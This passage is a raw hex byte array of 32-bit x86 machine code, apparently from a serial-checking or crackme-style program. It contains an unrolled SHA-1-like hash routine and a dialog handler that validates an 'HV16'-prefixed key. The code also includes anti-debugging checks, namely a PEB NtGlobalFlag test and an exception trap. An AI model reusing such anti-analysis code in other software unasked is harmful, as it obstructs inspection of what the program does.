0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xC0, 0x41, 0x40, 0x\n00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xD6, 0xC1, 0x62, 0xCA, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xEC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xFC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x0\n5, 0x00, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x04, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x08, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x0C, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x10, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x14, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xB0, 0x42, 0x40, 0x00, 0x01, 0x05, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xB4, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA0, 0x42, 0x40, 0x00, 0xA1, 0xB8, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA4, 0x42, 0x40, 0x00, 0xA1, 0xBC, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA8, 0x42, 0x40, 0x00, 0xA1, 0xC0, 0x42, 0x40, 0x00, 0x01, 0x05, 0xAC, 0x42, 0x40, 0x00, 0xC3, 0xC8, 0x04, 0x00, 0x00, 0xE8, 0x42, 0xDA, 0xFF, 0xFF, 0xFF, 0x75, 0x0C, 0xFF, 0x75, 0x08, 0xE8, 0x6A, 0xDA, 0xFF, 0xFF, 0x8B, 0x7D, 0x08, 0x8B, 0x35, 0xCC, 0x42, 0x40, 0x00, 0x89, 0x75, 0xFC, 0x83, 0x7D, 0xFC, 0x00, 0x74, 0x0D, 0xE8, 0x0E, 0xDB, 0xFF, 0xFF, 0x83, 0xC7, 0x40, 0xFF, 0x4D, 0xFC, 0xEB, 0xED, 0xBF, 0x18, 0x42, 0x40, 0x00, 0x8B, 0x35, 0x98, 0x42, 0x40, 0x00, 0x89, 0x75, 0xFC, 0x83, 0x7D, 0xFC, 0x00, 0x74, 0x0D, 0xE8, 0xED, 0xDA, 0xFF, 0xFF, 0x83, 0xC7, 0x40, 0xFF, 0x4D, 0xFC, 0xEB, 0xED, 0xB8, 0x9C, 0x42, 0x40, 0x00, 0x33, 0xF6, 0x83, 0xFE, 0x14, 0x74, 0x0D, 0x8B, 0x0C, 0x30, 0x0F, 0xC9, 0x89, 0x0C, 0x30, 0x83, 0xC6, 0x04, 0xEB, 0xEE, 0x33, 0xC9, 0xC9, 0xC2, 0x08, 0x00, 0x6A, 0x00, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xA3, 0xD0, 0x42, 0x40, 0x00, 0x6A, 0x00, 0x68, 0xD6, 0x38, 0x40, 0x00, 0x6A, 0x00, 0x6A, 0x65, 0xFF, 0x35, 0xD0, 0x42, 0x40, 0x00, 0xE8, 0x13, 0x03, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0xCA, 0x02, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x0C, 0x10, 0x75, 0x0F, 0x6A, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xD4, 0x02, 0x00, 0x00, 0xE9, 0xE8, 0x01, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x13, 0x01, 0x00, 0x00, 0x75, 0x2D, 0xBA, 0x31, 0x00, 0x00, 0x00, 0x4A, 0x64, 0x8B, 0x02, 0xF7, 0x40, 0x68, 0x70, 0x00, 0x00, 0x00, 0x74, 0x16, 0xBE, 0xDE, 0x3B, 0x40, 0x00, 0x56, 0x5A, 0x83, 0xEA, 0x0D, 0x4A, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x10, 0xFF, 0x75, 0x08, 0xFF, 0xD2, 0xE9, 0xB2, 0x01, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x11, 0x01, 0x00, 0x00, 0x0F, 0x85, 0x17, 0x01, 0x00, 0x00, 0x83, 0x7D, 0x10, 0x68, 0x75, 0x0F, 0x6A, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x7C, 0x02, 0x00, 0x00, 0xE9, 0xFD, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x10, 0x01, 0x0F, 0x85, 0xF3, 0x00, 0x00, 0x00, 0x6A, 0x28, 0x68, 0xD8, 0x42, 0x40, 0x00, 0x68, 0xE8, 0x03, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x53, 0x02, 0x00, 0x00, 0x81, 0x3D, 0xD8, 0x42, 0x40, 0x00, 0x48, 0x56, 0x31, 0x36, 0x0F, 0x85, 0xC7, 0x00, 0x00, 0x00, 0xBE, 0xD8, 0x42, 0x40, 0x00, 0x83, 0xC6, 0x05, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xBF, 0xFE, 0x42, 0x40, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x68, 0x45, 0x40, 0x40, 0x00, 0x68, 0xF6, 0x42, 0x40, 0x00, 0x68, 0xFE, 0x42, 0x40, 0x00, 0xE8, 0x4F, 0x01, 0x00, 0x00, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xBF, 0x70, 0x40, 0x40, 0x00, 0xBE, 0xF6, 0x42, 0x40, 0x00, 0xF3, 0xA6, 0x75, 0x6A, 0x68, 0x45, 0x40, 0x40, 0x00, 0x68, 0xF6, 0x42, 0x40, 0x00, 0x68, 0x06, 0x43, 0x40, 0x00, 0xE8, 0x28, 0x01, 0x00, 0x00, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xBF, 0x78, 0x40, 0x40, 0x00, 0xBE, 0xF6, 0x42, 0x40, 0x00, 0xF3, 0xA6, 0x75, 0x39, 0xE8, 0x30, 0x01, 0x00, 0x00, 0x83, 0x3D, 0x0E, 0x43, 0x40, 0x00, 0x01, 0x75, 0x21, 0x6A, 0x40, 0x68, 0x40, 0x40, 0x40, 0x00, 0x68, 0x55, 0x40, 0x40, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xB3, 0x01, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0x96, 0x01, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xB7, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xAD, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xA3, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0x99, 0x00, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x01, 0x02, 0x00, 0x00, 0x75, 0x14, 0xFF, 0x75, 0x14, 0x6A, 0x02, 0x68, 0xA1, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x66, 0x01, 0x00, 0x00, 0xEB, 0x71, 0x81, 0x7D, 0x0C, 0x10, 0x01, 0x00, 0x00, 0x75, 0x68, 0xB8, 0xE3, 0x3B, 0x40, 0x00, 0x50, 0x68, 0xE8, 0x03, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x2A, 0x01, 0x00, 0x00, 0xA3, 0xD4, 0x42, 0x40, 0x00, 0x5A, 0x83, 0xEA, 0x07, 0x87, 0xD1, 0x6A, 0x00, 0x6A, 0x0A, 0x68, 0x37, 0x13, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xFF, 0xD1, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0x0C, 0x01, 0x00, 0x00, 0x6A, 0x69, 0xFF, 0x35, 0xD0, 0x42, 0x40, 0x00, 0xE8, 0x23, 0x01, 0x00, 0x00, 0x50, 0x6A, 0x00, 0x68, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x0D, 0x01, 0x00, 0x00, 0x6A, 0x00, 0x6A, 0x1D, 0x68, 0xC5, 0x00, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0xF9, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC9, 0xC2, 0x10, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x6A, 0x10, 0x68, 0x40, 0x40, 0x40, 0x00, 0x68, 0x94, 0x40, 0x40, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xCF, 0x00, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0xB2, 0x00, 0x00, 0x00, 0xC9, 0xC2, 0x04, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x10, 0xE8, 0xBF, 0xD6, 0xFF, 0xFF, 0xFF, 0x75, 0x08, 0xFF, 0x75, 0x0C, 0xE8, 0xE5, 0xD4, 0xFF, 0xFF, 0xE8, 0x4F, 0xD7, 0xFF, 0xFF, 0xC9, 0xC2, 0x0C, 0x00, 0x68, 0x4D, 0x3B, 0x40, 0x00, 0x64, 0x67, 0xFF, 0x36, 0x00, 0x00, 0x64, 0x67, 0x89, 0x26, 0x00, 0x00, 0x0F, 0xB6, 0x05, 0xF1, 0x42, 0x40, 0x00, 0x83, 0xE8, 0x45, 0xF7, 0xF0, 0x64, 0x67, 0x8F, 0x06, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xC4, 0x04, 0xC3, 0x33, 0xC0, 0xA3, 0x0E, 0x43, 0x40, 0x00, 0x8B, 0x4C, 0x24, 0x0C, 